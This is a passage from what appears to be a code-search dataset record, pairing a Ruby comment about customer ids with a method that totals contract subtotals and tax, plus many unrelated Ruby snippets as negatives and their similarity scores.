MicrosoftGraph::Shares::Item::List::Items::Item::GetActivitiesByInterval::GetActivitiesByIntervalRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def create_activity(**args)\n params = parameters(args) do\n required_params :subject, :type\n optional_params :subject, :type, :done, :due_date, :due_time, :duration, :user_id, :deal_id, :person_id, :participants, :org_id, :note\n end\n request(:post, 'activities', params)\n end", "def publisher_activities_stream(publisher, time = nil)\n publisher.activities(time)\n end", "def acts_as_feed(options={})\n return if self.included_modules.include?(ActsAsFeed::InstanceMethods)\n include ActsAsFeed::InstanceMethods\n self.feed_timeout = options[:timeout] || 5 \n end", "def has_activity\n -> tests, ctx {\n activity_match.(tests, ctx[:resource], ctx[:action]).(ctx[:activities])\n }.curry\n end", "def add_new_activity(attr={})\n return nil if attr.empty?\n\n activity_index = DocumentStore.increase_atomic_count(DOCS[:latest_activity_count])\n activity = {\n :uid => attr[:uid],\n :activity => attr[:activity],\n :radlib_id => attr[:radlib_id]\n }\n\n if attr.has_key? :radlib_fillin_id\n activity[:radlib_fillin_id] = attr[:radlib_fillin_id]\n end\n\n DocumentStore.create_document(DOCS[:latest_activity_stub] + activity_index.to_s, activity)\n self\n end", "def set_activity\n @activity = PublicActivity::Activity.find(params[:id])\n end", "def create\n activity_params = params.require(:activity).permit(:title, :body,\n tags_attributes:\n [:category_id])\n @activity = Activity.create(activity_params)\n current_user.activities << @activity\n respond_to do |format|\n format.html\n format.json { render json: @activity }\n end\n end", "def apply_meth(receiver, meth, activity)\n case receiver.method(meth).arity\n when 2\n receiver.__send__(meth, activity, self.timeline_class)\n when 1\n receiver.__send__(meth, activity)\n else\n receiver.__send__(meth)\n end\n end", "def activity_owner\n self\n end", "def add_activity(source, options = { })\n category = @categories[options[:block]];\n category.add_event({ :name => source.name, :color => source.color, :options => options}) unless category.nil?\n end", "def add_activity( opts = {} )\n @source.add_activity( opts )\n end", "def add_activity(activity, columns, free)\n @activities.push({name: activity, columns: columns, is_free: free})\n end", "def render_activities(activities, options = {})\n activities.map { |activity| Renderable.render(activity, self, options.dup) }.join.html_safe\n end" ]
[ "0.64066625", "0.61400855", "0.60030764", "0.58423036", "0.58371955", "0.57615834", "0.5704721", "0.5673225", "0.5652701", "0.56504124", "0.5639911", "0.5639911", "0.5620147", "0.56006753", "0.55933064", "0.5582405", "0.5582069", "0.5534369", "0.55126905", "0.54709816", "0.54674536", "0.5460143", "0.5452041", "0.54197466", "0.5389576", "0.53868425", "0.5330881", "0.53293204", "0.5328533", "0.5320839", "0.5296725", "0.5285311", "0.5285311", "0.52844006", "0.5272451", "0.525744", "0.5256356", "0.52358055", "0.523187", "0.5220884", "0.5175583", "0.5152974", "0.5152401", "0.51409805", "0.5135616", "0.51349574", "0.513118", "0.5099346", "0.50888395", "0.50750303", "0.5072318", "0.5071953", "0.5058134", "0.505532", "0.5053273", "0.50532717", "0.5028475", "0.5004488", "0.49897245", "0.49742818", "0.4964973", "0.49561292", "0.4950201", "0.49492073", "0.4945322", "0.49451542", "0.49437475", "0.4941818", "0.4936055", "0.49339393", "0.49134943", "0.49029183", "0.49015993", "0.48971415", "0.48934", "0.48641497", "0.4859403", "0.4849148", "0.48449928", "0.48448846", "0.48368588", "0.4835001", "0.4823556", "0.4821722", "0.4816894", "0.4812805", "0.48068857", "0.4804897", "0.48009253", "0.47885942", "0.47885007", "0.4784807", "0.47679076", "0.47618532", "0.47542638", "0.4750268", "0.47479764", "0.4743962", "0.47437623", "0.4740707" ]
0.8651103
0
Use callbacks to share common setup or constraints between actions.
def set_employee @employee = Employee.employee_by_id(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def employee_params params.require(:employee).permit(:document_type,:document_number,:first_name,:other_name,:last_name,:second_surname,:birthdate,:birthplace,:address,:phones,:email,:contract,:admission_date,:retirement_date,:salary,:transport_aid,:integral_salary,:area_id,:position_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def parameters\n nil\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7122899", "0.7054107", "0.69478", "0.6902101", "0.67359334", "0.67178756", "0.66889167", "0.6677724", "0.6661157", "0.6555896", "0.6527207", "0.64584696", "0.64517015", "0.6450208", "0.644749", "0.6435074", "0.6413329", "0.6413329", "0.6391818", "0.6380081", "0.6380081", "0.6375536", "0.6360849", "0.635511", "0.6285548", "0.62798816", "0.62468714", "0.6227613", "0.6224945", "0.6224163", "0.62108225", "0.62080175", "0.6177938", "0.6171946", "0.6168783", "0.615999", "0.614475", "0.6136407", "0.61226404", "0.61090046", "0.60992956", "0.6075657", "0.60532176", "0.6040335", "0.6035594", "0.60304934", "0.60196596", "0.6018118", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.60165983", "0.6005772", "0.6004614", "0.60022306", "0.59969896", "0.59954774", "0.59947675", "0.59847546", "0.5984462", "0.597783", "0.5975277", "0.59699774", "0.59675187", "0.5966527", "0.5966527", "0.5957506", "0.59521663", "0.59506977", "0.59479433", "0.5944202", "0.59313655", "0.5930722", "0.592726", "0.5924843", "0.5918731", "0.59178615", "0.5914195", "0.59137934", "0.5908005", "0.59058493", "0.5904342", "0.59020513", "0.59004885", "0.58971745", "0.5896885", "0.58949924" ]
0.0
-1
def id_present_to_customer 34000 + id end
def calculate_totals subtotal_collector = 0 active_contracts.each do |active_contract| subtotal_collector += active_contract.subtotal end self.subtotal = subtotal_collector self.tax = subtotal * 0.09 self.total = subtotal + tax save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def id_number; end", "def customer_id\n customer.id\n end", "def valid_id_number; end", "def id\n customer_id\n end", "def id\n '1234567890'\n end", "def local_id; end", "def generate_id \n end", "def minimum_id(...)\n end", "def get_customer_id\n return @customer_id\n end", "def numid; end", "def external_id; end", "def customer_id\n return @customer_id\n end", "def other_claim_related_id\n end", "def real_id\n @id\n end", "def real_id\n @id\n end", "def id; 1; end", "def create_customer_id\n\t\tself.update_column(:customer_id, generate_customer_id)\n\tend", "def id ; @record.id if @record ; end", "def id\n sale_id.to_i\n end", "def id\n @id_number = 12345\n end", "def unique_id\n $unique_id_increment = ($unique_id_increment || 0) + 1\n return (Time.new.to_f * 1000).to_i.to_s + $unique_id_increment.to_s\nend", "def id; 1; end", "def user_id; 1; end", "def customer_id=(value)\n @customer_id = value\n end", "def numid=(_); end", "def random_id\n rand(1000000) + 20000\nend", "def ref_id\n 300_000_000 + data[0].to_i\n end", "def polish_taxpayer_identification_number; end", "def invalid_id_number; end", "def object_id() end", "def id_generator; end", "def get_id()\n @id\n end", "def get_id()\n @id\n end", "def id() end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def id; end", "def basic_generate_id(str); end", "def return_id\n\t\treturn @idStr\n\tend", "def id_public\n id\n end", "def customer_id\n params['customer_id']\n end", "def customer_id\n @booking_profile.try(:external_user_id)\n end", "def reveal_id\n ((self.hashed_id.to_i(16) ^ RNDXOR) * PRIME_INVERSE) & MAXID\n end", "def get_id()\n return @id\n end", "def get_id\n @id\n end", "def get_id\n @id\n end", "def get_id\n @id\n end", "def get_id\n @id\n end", "def subscription_id\n customer.subscriptions.first.id\n end", "def short_code\n id.to_s 36\n end", "def id_counter\n\t\t@@new_id += 1\n\tend", "def generate_id(str); end", "def assign_id\n Sufia::IdService.mint if Sufia.config.enable_noids\n end", "def id\n 1\n end", "def assign_id\n noid_service.mint\n end", "def get_id_length\n get_id.digits.count\n end", "def get_id\n\t\treturn id\n\tend", "def full_id\n self.id.blank? ? '0000000000' : self.id.to_s.rjust(10,'0')\n end", "def customer_id\n @row[\"購入者 顧客ID\"].to_s\n end", "def id\n unitid.to_i\n end", "def customer_ids; (customers.map(&:id) rescue []); end", "def get_account_id\n num = rand(111111111..999999999)\n id = sprintf(\"%09d\", num)\n id.to_s\n end", "def id\n #NOOP\n end", "def get_id\n @id ||= 0\n @id += 1\n @id\n end", "def next_id\n next_id = \"sdc:\" + (current_id.to_i + 1).to_s\n next_id\n end", "def new_id\n @last_id ||= 0\n @last_id += 1\n end", "def make_foreign_ID\r\n loop do\r\n ret = rand(2 ** 16) | rand(2 ** 16) << 16\r\n return ret if ret != @id\r\n end\r\n return 0\r\n end", "def id_counter\n @id_counter += 1\n end", "def increment_id!\n self.id = (self.id + 1) % 0x10000\n end", "def rand_id\n rand(10**7...10**8).to_s\nend", "def make_id\n new_id = @id\n @id += 1\n new_id\n end", "def id_hash_generator(number)\n{:id => number }\nend", "def base_id\n \"#{firstname} #{lastname}\"\n end", "def admin_id\n 9\n end", "def check_id\n unless self.id\n maximo= self.class.maximum(:id)\n id = 1 unless maximo\n id ||= maximo.to_i + 1\n self.id = id\n end\n end", "def rp_id; end", "def id\n return @id\n end", "def maximum_id(...)\n end", "def numId\n id.to_s.slice(-9,9).hex.to_i\n end", "def id(num)\n find :id => num\n end", "def trainer_id\n return @trainer_id % 100_000\n end", "def hash\n \tcustom_unique_id.hash\n end", "def orchestrate_primary_key\n id\n end", "def key_id; end", "def id\n record.id.to_s\n end", "def south_african_id_number; end", "def current_id\n not_applicable\n end", "def generate_record_id\n @client_id + '-' + SecureRandom.uuid\n end", "def entityID\n end", "def entityID\n end", "def code\n \"%05i\" % id unless new_record?\n end", "def hide_id\n self.hashed_id = (((self.id * PRIME) & MAXID) ^ RNDXOR).to_s(16)\n self.save\n end" ]
